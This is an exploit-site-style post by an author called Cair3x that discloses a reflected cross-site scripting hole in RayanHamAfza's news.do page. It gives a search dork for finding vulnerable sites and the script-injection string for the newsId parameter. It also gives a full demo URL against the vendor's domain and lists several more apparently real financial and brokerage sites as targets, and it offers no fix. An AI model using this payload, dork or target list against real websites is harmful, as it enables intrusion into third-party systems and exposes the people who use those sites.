################################################################# [+] Exploit Title: RayanHamAfz Cross Site Scripting Vulnerability [+] Author: Cair3x ###########################[ Exploit ]########################### Dork : [ Copyright &#169; 2008 RayanHamAfza.com ] Exploit : news.do?method=viewNews&newsId="><script>alert('Xss')</script> Demo : http://www.rayanhamafza.com/news.do?method=viewNews&newsId="><script>alert('Xss')</script> Demo : www.mehrbroker.com www.bmimf.com www.iranianfund.com ###########################[ Exploit ]########################### ################################################################# BY : Cair3x [Cair3x.Support@Gmail.com] Web Site : Ajaxtm.com Forum : http://Ajaxtm.com/forum/ [+] Greetz to All Frinds #################################################################